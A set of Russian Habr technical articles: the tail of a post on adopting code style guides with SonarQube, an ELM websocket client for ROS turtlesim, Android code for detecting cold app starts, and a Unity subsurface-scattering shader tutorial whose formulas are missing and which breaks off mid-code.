Разногласия возникали по многим пунктам, но в одном сходились единодушно: не хочется использовать «как есть» один из существующих style guide, следует сохранить уникальный, пусть и не до конца оформленный, стиль своего проекта. Поэтому было принято решение зафиксировать документально то, что использовалось негласно, а неочевидные и спорные моменты вынести на обсуждение.
За довольно короткий период мы сформировали собственные style guide по php, sql и частично JavaScript коду. На очереди были CSS и SCSS.
В формирование CSS кода вносили свой вклад наибольшее число разработчиков, в том числе и удаленных, а CSS – язык, можно сказать, располагающий к различным вольностям… Очень скоро стало понятно, что соблюдение единого стиля возможно только при максимально чётком и подробном описании всех правил, с приведением множества примеров того, как надо, и как не следует делать.
Обсуждение сильно затянулось, и команде никак не удавалось прийти к консенсусу по целому ряду пунктов. В результате, для SCSS и CSS мы решили применить готовый сторонний документ с нашими небольшими корректировками.
Мы использовали [Sass](https://sass-guidelin.es/ru/), [CSS](https://cssguidelin.es/), а ознакомление и согласование поправок заняло у команды не более 3 часов.
Контроль за исполнением
-----------------------
Для контроля соблюдения принятых правил, мы решили использовать средства автоматической проверки. На сегодняшний день существует довольно большой выбор подобных инструментов, многие из которых работают в формате облачных сервисов и легко интегрируются с популярными платформами хостинга кода и непрерывной интеграции.
Выбор пал на SonarQube – платформу статического анализа кода, поддерживающую разные языки программирования и предлагающую несколько форматов использования, в том числе selfhosted, наряду с облачной версией (SonarCloud). К тому же, есть интеграция с нашей платформой CI (Teamcity) и возможность предварительной проверки в редакторе кода (SonarLint).
Процесс установки системы вместе с пакетом плагинов занял не более получаса, интеграция с Teamcity – чуть более часа. Нам предстояло сформировать так называемые «профили качества» – набор правил для каждого языка, используемых во время проверки. Иначе результат анализа не отражал бы реальную картину.
На настройку профилей под наши предпочтения потребовалось около трёх часов. Интересно, что для PHP по умолчанию предлагается 3 варианта: «PSR2», «Drupal» и фирменный «Sonar way» – многие, вероятно, смогут использовать систему «из коробки».
После установки и настройки наступил «момент истины» – тест проверки качества кода на соответствие сформулированным правилам. Запускаем команду **sonar-scanner** и ждем. На индексацию файлов и проверку более 500 тыс. строк кода ушло около 4 минут. Результат анализа доступен в довольно симпатичном и удобном интерфейсе:
Представленный результат был для нас ожидаемым следствием внедрения code style и автоматических средств контроля на позднем этапе развития проекта. В дальнейшей работе с этим инструментом нас больше всего будет интересовать показатели в правой части экрана, выделенные желтым цветом. Эти данные отражают анализ нового кода, добавленного с момента предыдущей оценки.
Что дальше?
-----------
Наша цель – контролировать качество нового кода и постепенно улучшать общую статистику, представленную в левой части экрана. В течение двух недель мы будем проверять систему в «полевых условиях» и оценим выгоду от ее внедрения. В следующем посте мы поделимся результатами тестирования системы, подведем итоги и расскажем о сложностях, с которыми столкнулись.
Если у вас был подобный опыт внедрения code style – будет интересно обсудить это в комментариях!
|
https://habr.com/ru/post/338344/
| null |
ru
| null |
# ROS, ELM и черепашка
[Robotic Operation System](http://ros.org/) позволяет взаимодействовать своим подсистемам по механизмам «подписка на топик» и «вызов сервиса» по своему специальному протоколу. Но есть пакет [rosbridge](http://wiki.ros.org/rosbridge_suite), который позволяет общаться с ROS извне с помощью websocket. Описанный [протокол](https://github.com/RobotWebTools/rosbridge_suite/blob/develop/ROSBRIDGE_PROTOCOL.md) позволяет выполнять основные операции по взаимодействию с другими подсистемами.
[ELM](http://elm-lang.org/) — очень простой и элегантный язык, компилирующийся в javascript и отлично подходящий для разработки интерактивных программ.
Я решил совместить приятное с полезным и изучать ROS (по которой сейчас идет [курс](https://stepik.org/course/3222/)) и ELM вместе.
В ROS есть демонстрационный модуль [turtlesim](http://wiki.ros.org/turtlesim), эмулирующий робота-черепашку. Один из предоставляемых им узлов рисует движение черепашки в своем окне, другой — преобразует нажатия стрелок на клавиатуре в команды движения и поворотов черепашки. К этому процессу можно подключиться из простой программы на ELM.
ELM использует паттерн model-updater-view. Состояние программы описывается типом данных Model, функция update берет входящие события типа Msg и преобразует старую модель в новую (и, возможно, операцию, которую надо выполнить), а функция view по модели строит ее представление в пользовательком интерфейсе, который может порождать события типа Msg. Еще события могут приходить по подпискам, которые создаются специальной функцией из модели.
Обобщенная web-программа на ELM выглядит так:
```
init : ( Model, Cmd Msg )
update : Msg -> Model -> ( Model, Cmd Msg )
view : Model -> Html Msg
subscriptions : Model -> Sub Msg
main =
Html.program
{ init = init
, view = view
, update = update
, subscriptions = subscriptions
}
```
а программисту остается только реализовать эти четыре функции.
Опишем модель:
```
type alias Model =
{ x : Float
, y : Float -- координаты черепашки
, dir : Float -- направление, в котором черепашка смотрит
, connected : Bool -- подключенность к серверу
, ws : String -- URL websocket, который слушает rosbridge
-- если ROS запущен на рабочей машине
-- и все настроено поумолчанию,
-- url будет ws://localhost:9090/
, topic : String -- топик, по которому управляется черепашка,
-- обычно /turtle1/cmd_vel
, input : String -- JSON сообщение, которое мы можем редактировать
-- и отправить в систему руками
, messages : List String -- Пришедшие со стороны rosbridge сообщения
-- эти поля требуются только для отладки
-- и в исследовательских целях
}
init : ( Model, Cmd Msg )
init =
( Model 50 50 0 False "ws://192.168.56.101:9090/" "/turtle1/cmd_vel" "" []
, Cmd.none
)
```
Пока ни чего сложного, модель представляет из себя структуру с именованными полями.
Тип Msg устроен менее привычно для ОО-программистов:
```
type Msg
= Send String
| NewMessage String
| EnterUrl String
| EnterTopic String
| Connect
| Input String
```
Это так называемый алгебраический тип, описывающий прямую (размеченную) сумму нескольких альтернатив. Наиболее близкое предстваление этого типа в ООП — Msg объявляется абстрактным классом, а каждая строка алитернативы описывает новый, унаследованный от Msg, конкретный класс. Input, Send и прочее — это имена-конструкторы этих классов, за которыми следуют параметры конструктора, которые превращаются в поля класса.
Каждая альтернатива это запрос на изменение модели и выполнение каких-либо операций, который порождается действиями пользователя с интерфейсом (view) или внешними событиями — получением данных из websocket.
* Send String — запрос на отправку строки в websocket
* NewMessage String — обработать принятую из websocket строку
* EnterUrl String — редактируется url для websocket
* EnterTopic String — редактируется топик
* Connect — закончить редактирование настроек и связаться с сервером
* Input String — редактирование «ручного» сообщения в websocket
Теперь более-менее понятно, как реализовать функцию update:
```
update : Msg -> Model -> ( Model, Cmd Msg )
update msg model =
case msg of
EnterTopic newInput
-> ( { model | topic = newInput }, Cmd.none )
EnterUrl newInput
-> ( { model | ws = newInput }, Cmd.none )
Connect
-> ( { model | connected = True }, WebSocket.send model.ws (subscr model.topic) )
Input newInput
-> ( { model | input = newInput }, Cmd.none )
Send data
-> ( { model | input = "" }, WebSocket.send model.ws data )
NewMessage str
-> case Decode.decodeString (decodePublish decodeTwist) str of
Err _
-> ( { model | messages = str :: model.messages }, Cmd.none )
Ok t
-> let ( r, a ) = turtleMove t.msg
dir = model.dir + a
in ( { model
| x = model.x + r * sin dir
, y = model.y + r * cos dir
, dir = dir
, messages = str :: model.messages
}
, Cmd.none
)
```
Здесь используются несколько функций, которые мы определим позднее:
* subscr: String -> String — конструирует строку запроса для подписки на топик в rosbridge
* (decodePublish decodeTwist) — декодирование сообщения от топика, содержащее данные ROS-типа geometry\_msgs/Twist, с которыми оперирует черепашка
* turtleMove: Twist -> ( Float, Float ) — извлечение из сообщения перемещения и угла поворота черепашки
А пока определим функцию view:
```
view : Model -> Html Msg
view model =
div [] <|
if model.connected
then let x = toString model.x
y = toString model.y
dirx = toString (model.x + 5 * sin model.dir)
diry = toString (model.y + 5 * cos model.dir)
in [ svg [ viewBox "0 0 100 100", Svg.Attributes.width "300px" ]
[ circle [ cx x, cy y, r "4" ] []
, line [ x1 x, y1 y, x2 dirx, y2 diry, stroke "red" ] []
]
, br [] []
, button [ onClick <| Send <| pub model.topic 0 1 ]
[ Html.text "Left" ]
, button [ onClick <| Send <| pub model.topic 1 0 ]
[ Html.text "Forward" ]
, button [ onClick <| Send <| pub model.topic -1 0 ]
[ Html.text "Back" ]
, button [ onClick <| Send <| pub model.topic 0 -1 ]
[ Html.text "Rigth" ]
, br [] []
, input [ Html.Attributes.type_ "textaria", onInput Input ] []
, button [ onClick (Send model.input) ] [ Html.text "Send" ]
, div [] (List.map viewMessage model.messages)
]
else [ Html.text "WS: "
, input
[ Html.Attributes.type_ "text"
, Html.Attributes.value model.ws
, onInput EnterUrl
]
[]
, Html.text "Turtlr topic: "
, input
[ Html.Attributes.type_ "text"
, Html.Attributes.value model.topic
, onInput EnterTopic
]
[]
, br [] []
, button [ onClick Connect ] [ Html.text "Connect" ]
]
viewMessage : String -> Html msg
viewMessage msg = div [] [ Html.text msg ]
```
view создает DOM (можно чтитать, что просто html). Каждый объект (тег) генерируется отдельной функцией из библиотеки «elm-lang/html», которая принимает два параметра — список аттрибутов, типа Html.Attribute и список вложенных объектов/тегов. (Лично я считаю такое решение неудачным — я как-то поместил вложенный элемент в тег br и потом долго не мог найти его на экране, правильная библиотека не должна позволить сделать такую ошибку, оставив у br только аргумент с аттрибутами. Но возможно, в таком подходе есть глубокий смысл для специалистов во фронтетде.)
Отдельно я хочу описать аттрибуты. Тип Html.Attribute — это сборная-солянка для совершенно разнородных сущностей. Например `Html.Attributes.type_ : String -> Html.Attribute msg` задает тип в таких тегах, как imput, а `Html.Events.onClick : msg -> Html.Attribute msg` задает событие, которое должно произойти при клике на этот элемент.
Полностью прописать Html.Attributes.type\_ в коде пришлось из за конфликта с Svg.Attributes.type\_.
Рассмотрим кусочек кода, который может быть труден для восприятия:
```
onClick <| Send <| pub model.topic 0 1
```
Он эквивалентен
```
onClick (Send (pub model.topic 0 1))
```
`<|` — это оператор применения функции к аргументу (в Haskell он называется '$'), который позволяет использовать меньше скобок.
`onClick` — уже рассмотренная создания аттрибута, ее параметр — генерируемое событие.
`Send` — один их конструкторов типа Msg, ее патаметр — строка, которую мы хотим потом отправить в websocket.
Конструкторы и типы в ELM пишутся с большой буквы, а переменные (точнее константы и параметры функций), обычные и типовые, с маленькой.
`pub model.topic 0 1` — вызов функции создания запроса на отправку сообщения о движении черепашки на топик. Топик берется из модели, а 0 и 1 — перемещение и поворот.
Опишем недостающие функции. Проще всего создавать сообщения для отправки в websocket, так как это просто строки:
```
subscr : String -> String
subscr topic = "{\"op\":\"subscribe\",\"topic\":\"" ++ topic ++ "\"}"
pub : String -> Float -> Float -> String
pub topic m r =
"{\"topic\":\""
++ topic
++ "\",\"msg\":{\"linear\":{\"y\":0.0,\"x\":"
++ toString m
++ ",\"z\": 0.0},\"angular\":{\"y\":0.0,\"x\":0.0,\"z\":"
++ toString r
++ "}},\"op\":\"publish\"}"
```
С обработкой сообщений немного сложнее. Тип сообщения, с которым работает turtlesim можно посмотреть средствами ROS:
```
ros:~$ rosmsg info geometry_msgs/Twist
geometry_msgs/Vector3 linear
float64 x
float64 y
float64 z
geometry_msgs/Vector3 angular
float64 x
float64 y
float64 z
```
rosbridge его превращает в json и заворачивает в сообщение о событии на топике.
Декодирование его будет выглядеть так:
```
type alias Vector3 = ( Float, Float, Float )
type alias Twist = { linear : Vector3, angular : Vector3 }
decodV3 : Decode.Decoder Vector3
decodV3 =
Decode.map3 (,,)
(Decode.at [ "x" ] Decode.float)
(Decode.at [ "y" ] Decode.float)
(Decode.at [ "z" ] Decode.float)
decodeTwist : Decode.Decoder Twist
decodeTwist =
Decode.map2 Twist
(Decode.at [ "linear" ] decodV3)
(Decode.at [ "angular" ] decodV3)
type alias Publish a = { msg : a, topic : String, op : String }
decodePublish : Decode.Decoder a -> Decode.Decoder (Publish a)
decodePublish decMsg =
Decode.map3 (\t m o -> { msg = m, topic = t, op = o })
(Decode.at [ "topic" ] Decode.string)
(Decode.at [ "msg" ] decMsg)
(Decode.at [ "op" ] Decode.string)
```
Декодер Json-представления некоторого типа комбинируется из других декодеров.
`Decode.map3 (,,)` применяет три декодера, переданные ему в параметрах, и создает тупл из трех декодорованных элементов с помощью операции `(,,)`.
`Decode.at` декодирует величину, извлеченную по данному пути в Json заданным декодером.
Код
```
(\t m o -> { msg = m, topic = t, op = o })
```
описывает замыкание. Он аналогичен коду на js:
```
function (t,m,o) { return {"msg":m, "t":t, "op":p} }
```
Полный код можно взять с [github](https://github.com/potan/turtle).
Если есть желание попробовать ROS придется установить самостоятельно. Вместо установки ELM можно воспользоваться [сервисом](https://ellie-app.com/4kFLwLd2Fa1/0).
|
https://habr.com/ru/post/340534/
| null |
ru
| null |
# Android Vitals — Почему запустился мой процесс?
Эта серия статей посвящена мониторингу производительности и стабильности работающих Android-приложений. На прошлой неделе я писал о том, как [определить, является ли запуск приложения холодным](https://habr.com/ru/company/otus/blog/593743/).
Если мы постим сообщение, и в момент его выполнения не будет создано никаких активити, то так мы поймем, что это не холодный запуск, даже если в конечном итоге активити запустится через 20 секунд.
```
class MyApp : Application() {
override fun onCreate() {
super.onCreate()
var firstActivityCreated = false
registerActivityLifecycleCallbacks(object :
ActivityLifecycleCallbacks {
override fun onActivityCreated(
activity: Activity,
savedInstanceState: Bundle?
) {
if (firstActivityCreated) {
return
}
firstActivityCreated = true
}
})
Handler().post {
if (firstActivityCreated) {
// TODO рапортуем о холодном запуске
}
}
}
}
```
Такой подход предполагает, что мы должны дождаться запуска активити или выполнения этого сообщения, прежде чем узнаем, был ли запуск приложения холодным. Иногда было бы полезно знать это прямо внутри `Application.onCreate()`. Например, нам может понадобиться асинхронная предварительная загрузка ресурсов для оптимизации холодного запуска:
```
class MyApp : Application() {
override fun onCreate() {
super.onCreate()
if (isColdStart()) {
preloadDataForUiAsync()
}
}
}
```
Важность процесса
-----------------
Хоть пока и нет Android API для того, чтобы узнать, почему процесс был запущен, у нас все-таки есть способ узнать, почему процесс все еще работает:
[RunningAppProcessInfo.importance](https://developer.android.com/reference/android/app/ActivityManager.RunningAppProcessInfo#importance), которое мы можем прочитать из [ActivityManager.getMyMemoryState()](https://developer.android.com/reference/android/app/ActivityManager#getMyMemoryState(android.app.ActivityManager.RunningAppProcessInfo)). Согласно [документации “Процессы и жизненный цикл приложений”](https://developer.android.com/guide/components/activities/process-lifecycle):
> Чтобы определить, какие процессы следует завершить в случае нехватки памяти, Android помещает каждый процесс в “иерархию важности” на основе запущенных в них компонентов и их состояний. [...] Система будет основывать свое решение о том, как классифицировать процесс, на наиболее важном уровне, обнаруженном среди всех компонентов, активных в процессе в данный момент.
>
>
Когда процесс запускается, мы можем проверить его важность. Если его важность оценена как [IMPORTANCE\_FOREGROUND](https://developer.android.com/reference/android/app/ActivityManager.RunningAppProcessInfo#IMPORTANCE_FOREGROUND), то это холодный запуск:
```
class MyApp : Application() {
override fun onCreate() {
super.onCreate()
if (isForegroundProcess()) {
preloadDataForUiAsync()
}
}
private fun isForegroundProcess(): Boolean {
val processInfo = ActivityManager.RunningAppProcessInfo()
ActivityManager.getMyMemoryState(processInfo)
return processInfo.importance == IMPORTANCE_FOREGROUND
}
}
```
Подтверждение данными
---------------------
Я реализовал оба подхода определения холодного запуска в тестовом приложении и получил идентичные результаты во всех случаях. Затем я добавил код обнаружения в приложение в продакшене с достаточным количеством установок, чтобы обеспечить значимые результаты. Вот полученные мной (анонимизированные) результаты:
На этой круговой диаграмме отражены только запуски приложений, в которых активити было создано до первого поста.
* 97,4% имели важность 100, т.е. [IMPORTANCE\_FOREGROUND](https://developer.android.com/reference/android/app/ActivityManager.RunningAppProcessInfo#IMPORTANCE_FOREGROUND).
* 2,4% имели важность 400, т.е. [IMPORTANCE\_CACHED](https://developer.android.com/reference/android/app/ActivityManager.RunningAppProcessInfo#IMPORTANCE_CACHED) (ранее называлось [IMPORTANCE\_BACKGROUND](https://developer.android.com/reference/android/app/ActivityManager.RunningAppProcessInfo#IMPORTANCE_BACKGROUND)).
* 0,2% соответствуют другим значениям.
Давайте посмотрим на эти данные под другим углом: как часто активити создавалось до первого поста по каждому значению важности?
* Когда важность запуска равна 100, перед первым постом всегда создается активити. И когда активити создается до первого сообщения, в 97,4% случаев важность равна 100.
* Когда важность запуска равна 400, активити не создается до первого поста почти никогда. “Почти никогда” это не “никогда” — все же достаточно случаев, когда активити создается до первого поста. В 2,4% случаев важность равна 400.
Наиболее вероятное объяснение 2,4% с важностью 400 заключается в том, что это были не холодные запуски, однако система получила запрос на запуск активити почти сразу после запуска процесса, прямо на запуске `Application.onCreate()`, но до того, как у нас появилась возможность добавить наш первый пост.
**Поправка:** я сохранял в логе важность после первого поста и сравнивал ее с важностью на запуске приложения. Мои данные показали, что в 74% запусков приложений, когда активити было создано до первого поста, и важность процесса запуска изначально не была равна 100, после первого поста значение важности этого процесса менялось на 100. Мне кажется что, это подтверждает теорию о том, что система решила запустить активити после того, как приложение уже начало запускаться.
Заключение
----------
Теперь на основе этой информации и выводов из предыдущего поста мы можем точно определить холодный запуск. Для холодного запуска:
* Важность процесса соответствует [IMPORTANCE\_FOREGROUND](https://developer.android.com/reference/android/app/ActivityManager.RunningAppProcessInfo#IMPORTANCE_FOREGROUND) на запуске приложения.
* Первое активити создается до того, как первый пост будет исключен из очереди.
* Первое активити создается с нулевым бандлом.
Вот обновленный код:
```
class MyApp : Application() {
override fun onCreate() {
super.onCreate()
if (isForegroundProcess()) {
var firstPostEnqueued = true
Handler().post {
firstPostEnqueued = false
}
registerActivityLifecycleCallbacks(object :
ActivityLifecycleCallbacks {
override fun onActivityCreated(
activity: Activity,
savedInstanceState: Bundle?
) {
unregisterActivityLifecycleCallbacks(this)
if (firstPostEnqueued && savedInstanceState == null) {
// TODO рапортуем о холодном запуске
}
}
})
}
}
private fun isForegroundProcess(): Boolean {
val processInfo = ActivityManager.RunningAppProcessInfo()
ActivityManager.getMyMemoryState(processInfo)
return processInfo.importance == IMPORTANCE_FOREGROUND
}
}
```
Надеюсь, для вас эти исследования были интересными!
---
Всех желающих приглашаем на двухдневный интенсив «Animated Vector Drawable», на котором поговорим про векторные изображения в Android и о том, как shapeshifter упрощает жизнь с ними. Регистрация доступна [по ссылке.](https://otus.pw/Rzvz/)
|
https://habr.com/ru/post/655005/
| null |
ru
| null |
# Быстрый шейдер для Subsurface Scattering в Unity
Большинство (если не все) оптических явлений, демонстрируемых материалами, можно воссоздать симуляцией распространения и взаимодействия отдельных лучей света. Такой подход называется в научной литературе **«трассировкой лучей» (ray tracing)**, и часто он слишком вычислительно затратен для применения в реальном времени. В большинстве современных движков используются сильные упрощения, которые, несмотря на невозможность создания фотореализма, могут обеспечить достаточно убедительные приближенные результаты. В этом туториале я расскажу о *быстром, дешёвом и убедительном* решении, которое можно использовать для симуляции просвечивающих материалов, имеющих [подповерхностное рассеивание](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B4%D0%BF%D0%BE%D0%B2%D0%B5%D1%80%D1%85%D0%BD%D0%BE%D1%81%D1%82%D0%BD%D0%BE%D0%B5_%D1%80%D0%B0%D1%81%D1%81%D0%B5%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5).
*До...*
*… и после.*
#### Введение
У стандартного материала Unity есть режим прозрачности (Transparency mode), позволяющий рендерить прозрачные материалы. В этом контексте прозрачность реализуется с помощью **альфа-смешивания**. Прозрачный объект рендерится поверх готовой геометрии, частично показывая то, что находится за ним. Это работает для многих материалов, но прозначность — это особый случай более общего свойства, называемого **просвечиваемостью (translucency)** (иногда также **translucidity**). Прозрачные материалы влияют только на количество пропускаемого через них света (на рисунке ниже слева), просвечиваемые же изменяют путь его прохождения (справа).
Результат такого поведения очевиден: просвечиваемые материалы рассеивают проходящие через них лучи света, размывая то, что находится за объектом. Такое поведение редко используется в играх, потому что реализовать его гораздо сложнее. Прозрачные материалы можно реализовать прямолинейно — альфа-смешиванием, без трассировки лучей. Просвечивающие же материалы требуют симуляции отклонения лучей света. Такие вычисления очень затратны и редко стоят труда при рендеринге в реальном времени.
Это же часто мешает достичь симуляции других оптических явлений, таких как **подповерхностное рассеивание**. Когда свет падает на поверхность просвечиваемого материала, часть его распространяется внутрь, сталкиваясь с молекулами, пока не найдёт путь наружу. Часто это приводит к тому, что свет, поглощённый в одной точке, испускается материалом в другой точке. Подповерхностное рассеивание приводит к созданию рассеянного свечения, которое часто можно увидеть на таких материалах, как кожа человека, мрамор и молоко.
#### Просвечиваемость в реальном времени
Затратными вычисления просвечиваемости делают два основных препятствия. Первое — требуется симуляция рассеивания лучей света внутри материала. Каждый луч может разделиться на несколько, отражаясь сотни или даже тысячи раз внутри материала. Второе препятствие — луч, поглощённый в одной точке, испускается в какой-то другой. Это кажется небольшой проблемой, но на самом деле это серьёзное препятствие.
Чтобы понять, почему так происходит, нам нужно сначала разобраться, как работает большинство шейдеров. В сфере рендеринга в реальном времени видеопроцессор ожидает от шейдера, что тот сможет вычислить конечный цвет материала, используя только локальные свойства. Шейдеры реализованы таким образом, что эффективно могут получать доступ только к свойствам, локальным для каждой вершины. Можно очень легко считать направление нормали и albedo вершины, получить же эти значения от соседних вершин — непростая задача. В большинстве систем реального времени приходится как-то обходить эти ограничения и находить способ *имитировать* распространение света в материале без использования нелокальной информации.
Подход, описанный в этом туториале, основан на решении, представленном на GDC 2011 Колином Баррэ-Бризебуа и Марком Бушаром в докладе [Approximating Translucency for a Fast, Cheap and Convincing Subsurface Scattering Look](https://colinbarrebrisebois.com/2011/03/07/gdc-2011-approximating-translucency-for-a-fast-cheap-and-convincing-subsurface-scattering-look/). Их решение интегрировано в движок **Frostbite 2**, который использовался в игре **Battlefield 3** компании DICE. Хотя подход, представленный Колином и Марком, физически неточен, он обеспечивает правдоподобные результаты очень малой ценой.
Идея в основе этого решения очень проста. На непрозрачные материалы свет воздействует непосредственно от источника света. Вершины, наклонённые больше чем на 90 градусов от направления света , вообще не получают освещения (на рисунке внизу слева). В соответствии с моделью, представленной в докладе, на просвечиваемые материалы существует дополнительное воздействие света, которое связано с . Геометрически  можно воспринимать так, как будто часть освещения на самом деле проходит сквозь материал и добирается до его обратной стороны (на рисунке внизу справа).
То есть каждый источник света считается как два отдельных влияния на отражение: освещение передней и задней части. Мы хотим, чтобы наши материалы были как можно более реалистичными, поэтому для переднего освещения используем стандартные PBR-модели освещения Unity. Нам требуется найти способ описать воздействие  и отрендерить его таким образом, чтобы он как-то симулировал процесс рассеивания, который бы мог происходит внутри материала.
#### Обратная просвечиваемость
Как сказано выше, конечный цвет пикселей зависит от суммы двух компонентов. Первый из них — это «традиционное» освещение. Второй — влияние света от виртуального источника, освещающего обратную сторону модели. Это даст нам ощущение, что свет от исходного источника на самом деле прошёл сквозь материал.
Чтобы понять, как смоделировать это математически, давайте создадим схему двух следующих случаев (схемы ниже). В текущий момент мы отрисовываем красную точку. Поскольку она находится на «тёмной» стороне материала, её должен освещать . Давайте проанализируем два предельных случая с точки зрения стороннего наблюдателя. Мы видим, что  находится на одной линии с  и параллелен ему, и это значит, что наблюдатель  должен полностью увидеть обратную просвечиваемость. С другой стороны, наблюдатель  должен увидеть наименьшее количество обратного освещения, потому что он перпендикулярен к .
Если вы знакомы с написанием шейдеров, то такие рассуждения должны быть вам привычны. Мы уже встречались с чем-то подобным в туториале [«Physically Based Rendering and Lighting Models in Unity 5»](http://www.alanzucconi.com/2015/06/24/physically-based-rendering/), где показали, что такое поведение можно реализовать с помощью математического оператора, называемого **скалярным произведением**.
В качестве первого приближения мы можем сказать, что количество обратного освещения, возникающего из-за просвечиваемости,  пропорционально . В традиционном диффузном шейдере это записывается как . Мы видим, что не включили в вычисления **нормаль к поверхности**, потому что свет просто исходит из материала, а не отражается от него.
#### Подповерхностное искажение
Однако нормаль к поверхности должна иметь какое-то влияние, хотя бы небольшое, на угол, под которым свет исходит из материала. Авторы этой техники ввели параметр под названием **подповерхностное искажение** , вынуждающий вектор  указывать в направлении . С точки зрения физики это подподверхностное искажение управляет степенью отклонения нормалью к поверхности исходящего обратного освещения. В соответствии с предложенной системой, интенсивность компонента обратной просвечиваемости превращается в:
Где  — единичный вектор, указывающий в одном направлении с . Если вам знакомы Cg/HLSL, то это функция `normalize`.
При  мы возвращаемся к , полученному в предыдущем разделе. Однако при  мы вычисляем скалярное произведение между направлением взгляда и . Если вам известен расчёт **отражения по Блинну-Фонгу**, то вы должны знать, что  — это вектор «между»  и . Поэтому мы будем называть его **половинным направлением** .
На схеме выше показаны все направления, которые мы пока использовали.  отмечена фиолетовым, и вы видите, что она находится между  и . С точки зрения геометрии, изменение  от  до  приводит к сдвигу воспринимаемого направления света . Затенённая область показывает интервал направлений, из которых будет поступать обратное освещение. На рисунке ниже видно, что при  объект кажется освещённым от фиолетового источника света. При изменении  к 1 воспринимаемое направление источника света сдвигается к фиолетовому.
Предназначение  — симуляция склонности некоторых просвечиваемых материалов рассеивать обратное освещение с разной интенсивностью. Чем выше значения , тем больше рассеивается обратное освещение.
**Величина H здесь имеет то же значение, что и H в расчёте отражения по Блинну-Фонгу?**
Нет. В отражении по Блинну-Фонгу  определяется как . Здесь мы используем ту же букву для обозначения .
**Действительно ли дельта интерполируется между L и L+N?**
Да. Значения  от  до  линейно интерполируются между  и . Это можно увидеть, развернув традиционное определение линейной интерполяции от  и  с :
**Почему получилось так, что авторы не нормализовали L + N?**
С геометрической точки зрения, величина  не имеет единичной длины, то есть должна быть нормализована. В своей конечной системе авторы не выполняют нормализацию.
В конце концов, весь этот эффект не должен стать ни фотореалистичным, ни основанным на физике. В своём докладе авторы очень ясно дали понять, что он предназначен для использования в качестве быстрой аппроксимации просвечиваемости и подповерхностного рассеивания. Нормализация не сильно меняет результаты, но добавляет значительные задержки.
#### Рассеивание обратного освещения
На этом этапе туториала у нас уже есть уравнение, которое можно использовать для симуляции просвечивающих материалов. Величину  невозможно использовать для вычисления окончательного влияния освещения.
Здесь можно использовать два основных подхода. Первый — применить текстуру. Если вам нужен полный художественный контроль над тем, как свет рассеивается в материале, то нужно ограничить  в интервале от  до  и использовать её для сэмплирования конечной интенсивности обратного освещения. Текстуры с различным линейным изменением будут симулировать распространение света в разных материалах. Ниже мы рассмотрим, как это можно использовать для значительного изменения результатов работы этого шейдера.
Однако в подходе, использованном автором этой техники, не применяется текстура. В нём кривая создаётся только кодом Cg:
Два новых параметра,  (*степень*) и  (*масштаб*) используются для изменения свойств кривой.
#### Заключение
В этой части статьи мы рассказали о технических трудностях рендеринга просвечиваемых материалов. Предложено аппроксимирующее решение и подход, представленный в докладе [Approximating Translucency for a Fast, Cheap and Convincing Subsurface Scattering Look](https://colinbarrebrisebois.com/2011/03/07/gdc-2011-approximating-translucency-for-a-fast-cheap-and-convincing-subsurface-scattering-look/). В следующей части туториала мы сосредоточимся на самой реализации этого эффекта в шейдере Unity.
Если вам интересны более изощрённые подходы к симулированию подпространственного рассеивания в приложениях реального времени, то можете изучить один из лучших туториалов [GPU Gems](http://developer.download.nvidia.com/books/HTML/gpugems/gpugems_ch16.html).
Часть вторая
------------
#### Введение
В предыдущей части туториала объяснён механизм, позволяющий аппроксимировать внешний вид просвечивающих материалов. Затенение традиционных поверхностей выполняется на основании освещения, получаемого со стороны . Шейдер, который мы напишем, добавит ещё один компонент , который де-факто будет использоваться так, как будто материал освещается источником света с обратной стороны. При этом он будет выглядет так, как будто свет из  проходит сквозь материал.
Наконец, мы вывели зависящее от направления взгляда уравнение для моделирования отражения от обратного освещения:
где:
*  — это направление, из которого исходит свет (**направление света**),
*  — направление камеры, смотрящей на материал (**направление взгляда**),
*  — ориентация поверхности в точке, которую нужно отрендерить (**нормаль к поверхности**).
Есть и дополнительные параметры, которые можно использовать для управления конечным внешним видом материала. Например  меняет воспринимаемое направление обратного освещения, чтобы оно было более параллельно к нормали поверхности:
И, наконец,  и  (*степень* и *масштаб*) определяют распространение обратного освещения и работают образом, схожим с одноимёнными параметрами в расчёте **отражения по Блинну-Фонгу**.
Теперь нам только осталось реализовать шейдер.
#### Расширяем возможности стандартного шейдера
Как рассказано выше, мы хотим, чтобы этот эффект был как можно более реалистичным. Наилучшим решением будет расширение функций **стандартного шейдера (Standard shader)** Unity, который изначально обеспечивает достаточно хорошие результаты для непросвечиваемых материалов.
**Как расширить возможности стандартного шейдера?**
Если вам незнакома эта процедура, тема расширения функциональности стандартного шейдера подробно рассмотрена в моём блоге. Два неплохих туториала для начала: [3D Printer Shader Effect](http://www.alanzucconi.com/?p=5660) ([перевод на Хабре](https://habrahabr.ru/post/331576/)) и [CD-ROM Shader: Diffraction Grating](http://www.alanzucconi.com/?p=6767).
Если коротко, то основная идея заключается в создании нового **поверхностного шейдера** и замене его **функции освещения** на собственную. Здесь мы будем вызывать исходную *стандартную функцию освещения*, чтобы материал рендерился с помощью PBR-шейдера Unity.
Создав его, мы сможем вычислять влияние обратного освещения и смешивать его с исходным цветом, предоставляемым стандартной функцией освещения. Для хорошей аппроксимации:
Можно начать со следующего:
```
#pragma surface surf StandardTranslucent fullforwardshadows
#pragma target 3.0
sampler2D _MainTex;
struct Input {
float2 uv_MainTex;
};
half _Glossiness;
half _Metallic;
fixed4 _Color;
#include "UnityPBSLighting.cginc"
inline fixed4 LightingStandardTranslucent(SurfaceOutputStandard s, fixed3 viewDir, UnityGI gi)
{
// Исходный цвет
fixed4 pbr = LightingStandard(s, viewDir, gi);
// ...
// Изменяем здесь "pbr", чтобы добавить новый источник
// ...
return pbr;
}
void LightingStandardTranslucent_GI(SurfaceOutputStandard s, UnityGIInput data, inout UnityGI gi)
{
LightingStandard_GI(s, data, gi);
}
void surf (Input IN, inout SurfaceOutputStandard o) {
// Albedo получается из текстуры, подкрашенной цветом
fixed4 c = tex2D (_MainTex, IN.uv_MainTex) * _Color;
o.Albedo = c.rgb;
// Metallic и smoothness берутся из переменных ползунков
o.Metallic = _Metallic;
o.Smoothness = _Glossiness;
o.Alpha = c.a;
}
```
Назовём новую функцию освещения, которую будем использовать в этом эффекте, `StandardTranslucent`. Обратное освещение будет иметь тот же цвет, что и исходное освещение. Мы можем управлять только интенсивностью `I`
```
#pragma surface surf StandardTranslucent fullforwardshadows
#include "UnityPBSLighting.cginc"
